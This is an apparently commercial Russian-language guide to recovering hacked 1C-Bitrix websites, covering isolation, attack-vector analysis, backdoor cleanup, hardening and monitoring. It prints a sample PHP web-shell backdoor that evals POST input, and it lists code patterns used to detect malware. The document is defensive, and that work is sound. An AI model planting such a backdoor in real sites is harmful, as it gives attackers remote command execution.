Вы обнаружили, что сайт редиректит посетителей на посторонний ресурс, а поисковик предупреждает об угрозе. Или хостинг уведомил о рассылке спама с вашего сервера. Это типичные признаки взлома 1С-Битрикс: инъекция бэкдора в /bitrix/modules/, модификация инфоблоков или внедрение вредоносного кода в шаблоны. Наши инженеры с более чем 5-летним опытом восстанавливают сайты под ключ — за 1–3 дня возвращаем работоспособность и устраняем причину. Убытки от простоя могут достигать десятков тысяч рублей в день, поэтому каждое решение должно быть точным.
Восстановление — это не просто удаление вредоносных файлов, а полный цикл: изоляция, анализ вектора атаки, очистка, закрытие уязвимости и мониторинг. Пропуск любого этапа приведёт к повторному взлому в течение дней. Ниже — чёткий план действий, основанный на более чем 200 успешных проектах.
Как изолировать сайт до анализа?
Не удаляйте ничего. Сначала сохраните текущее состояние — оно нужно для анализа. Создайте полный дамп файлов и БД. Затем ограничьте доступ: поставьте заглушку через nginx (return 503) или .htaccess с Deny from all и Allow from вашего IP. Это предотвращает дальнейший ущерб и не даёт атакующему закрепиться.
Немедленно смените все пароли:
- Пароли БД (в
.settings.phpиdbconn.php) - FTP/SSH-доступы
- Пароли административных учётных записей Битрикс
- API-ключи сторонних сервисов, если они хранились в конфигах
Проверьте, не добавлены ли SSH-ключи или cron-задачи. Атакующие часто добавляют свой публичный ключ в ~/.ssh/authorized_keys и cron-задачи для периодической загрузки бэкдоров. Запустите crontab -l для всех пользователей и проверьте содержимое /etc/cron.d/.
Как определить вектор атаки?
Без понимания того, как именно проникли на сайт, восстановление бессмысленно — взломают повторно через ту же дыру. По данным официальной документации 1С-Битрикс по безопасности, 80% взломов происходят из-за устаревших модулей или слабых паролей. Типичный сценарий: через уязвимость в старом модуле загружается web-shell, затем злоумышленник повышает права до администратора. Мы сталкивались с этим в более чем 200 проектах.
| Вектор | Признаки | Где искать следы |
|---|---|---|
| Устаревшая версия ядра с известной CVE | Версия ядра в /bitrix/modules/main/classes/general/version.php ниже актуальной |
Changelog обновлений безопасности 1С-Битрикс |
| Уязвимый сторонний модуль | Бэкдор в директории модуля | /bitrix/modules/vendor.module/ |
| Компрометация учётных данных | Авторизация с нетипичного IP | b_event_log, фильтр по AUDIT_TYPE_ID = 'USER_LOGIN' |
| Загрузка shell через форму | PHP-файл в /upload/ |
Поиск .php файлов в /upload/, /bitrix/tmp/ |
| SQL-инъекция | Изменённые данные в БД, новые администраторы | Таблица b_user — новые записи с ADMIN = Y |
Анализируйте access-логи веб-сервера за период, предшествующий обнаружению. Ищите POST-запросы к нестандартным URL, обращения к файлам в /upload/ с расширением .php, запросы с характерными паттернами (eval, base64, system).
Пошаговый алгоритм восстановления
- Изоляция. Останавливаем веб-сервер или ставим заглушку. Делаем полный бэкап.
- Анализ. Изучаем логи, определяем вектор атаки.
- Очистка. Удаляем бэкдоры, восстанавливаем ядро, чистим БД.
- Закрытие уязвимостей. Обновляем ядро и модули, настраиваем права, включаем WAF.
- Тестирование. Проверяем работоспособность и отсутствие инцидентов.
- Мониторинг. Устанавливаем системы отслеживания изменений на 2-4 недели.
Полная очистка файловой системы
Проверка ядра. Используйте встроенный инструмент /bitrix/admin/site_checker.php → «Проверка целостности файлов ядра». Он сравнивает контрольные суммы с эталонными. Все модифицированные файлы ядра — подозрительны. Битрикс-ядро не должно содержать ваших правок; если они есть — это или взлом, или плохая практика, которую нужно устранить.
Поиск бэкдоров. Сканируйте файловую систему на типичные паттерны:
- Файлы
.phpв директориях/upload/,/bitrix/tmp/,/bitrix/cache/ - Файлы с недавней датой модификации в
/bitrix/modules/(если вы не обновляли ядро) - Содержимое:
eval(,base64_decode(,gzinflate(,str_rot13(,assert(,preg_replaceс модификаторомe - Файлы с именами, мимикрирующими под системные:
wp-config.php,config.bak.php,.htaccess.php
Штатный инструмент: модуль bitrix.security (Проактивная защита) → «Сканер безопасности» выполняет базовый поиск подозрительного кода.
Проверка БД. Ищите в таблице b_user пользователей с административными правами, которых вы не создавали. Проверяйте b_option на наличие изменённых настроек модулей (особенно main и security). Проверяйте b_file на записи, ссылающиеся на PHP-файлы в /upload/.
Пример типичного бэкдора
<?php
$x=$_POST['cmd'];
if(isset($x)){eval($x);}
?>
Такие файлы часто маскируют под системные, например, class.upload.php.
Сравнение вариантов восстановления
| Вариант | Безопасность | Время | Сложность |
|---|---|---|---|
| Чистая переустановка ядра | Высокая — исключает модифицированные файлы | 2–4 часа | Средняя — требует замены директорий |
| Восстановление из бэкапа | Средняя — зависит от даты бэкапа | 1–2 часа | Низкая — но нужен бэкап до взлома |
| Восстановление через патчи | Низкая — остаются риски | 3–6 часов | Высокая — требует точного анализа |
На практике чистая переустановка ядра в 2 раза надёжнее восстановления из бэкапа, если бэкап сделан после взлома. После очистки обязательно обновите ядро Битрикс до последней стабильной версии. Удалите или обновите все сторонние модули. Включите модуль bitrix.security: WAF (проактивный фильтр), защиту от фреймов, ограничение сессий по IP. Настройте права на файловую систему: директории 0755, файлы 0644, владелец — не root. Закройте доступ к /bitrix/admin/ по IP через nginx/Apache. Запретите выполнение PHP в /upload/: в nginx — location ~* /upload/.*\.php$ { deny all; }.
Что входит в работу под ключ
- Анализ access-логов и выявление вектора атаки
- Удаление вредоносного кода и бэкдоров
- Восстановление ядра и компонентов
- Обновление всех модулей до последних версий
- Настройка WAF и проактивной защиты
- Смена всех паролей и ключей
- Тестирование работоспособности
- Отчёт с рекомендациями по дальнейшей защите
- Гарантия 6 месяцев на отсутствие повторного взлома через ту же уязвимость
Мониторинг после восстановления
Первые 2–4 недели — критический период. Настройте:
- Файловый мониторинг (inotify / AIDE / tripwire) — отслеживание изменений в
/bitrix/modules/и/bitrix/php_interface/ - Мониторинг access-логов на подозрительные POST-запросы
- Проверка
b_userна появление новых административных записей (через cron + скрипт) - Внешний мониторинг HTTP-заголовков — обнаружение несанкционированных редиректов
Повторный взлом после некачественной очистки — дело не «если», а «когда». Один пропущенный бэкдор в забытой директории /bitrix/backup/ перечёркивает всю работу. Свяжитесь с нами для бесплатной консультации — мы оценим ваш случай за 1 день и предложим план с гарантией 6 месяцев. Закажите аудит безопасности, чтобы убедиться, что ваш сайт защищён.







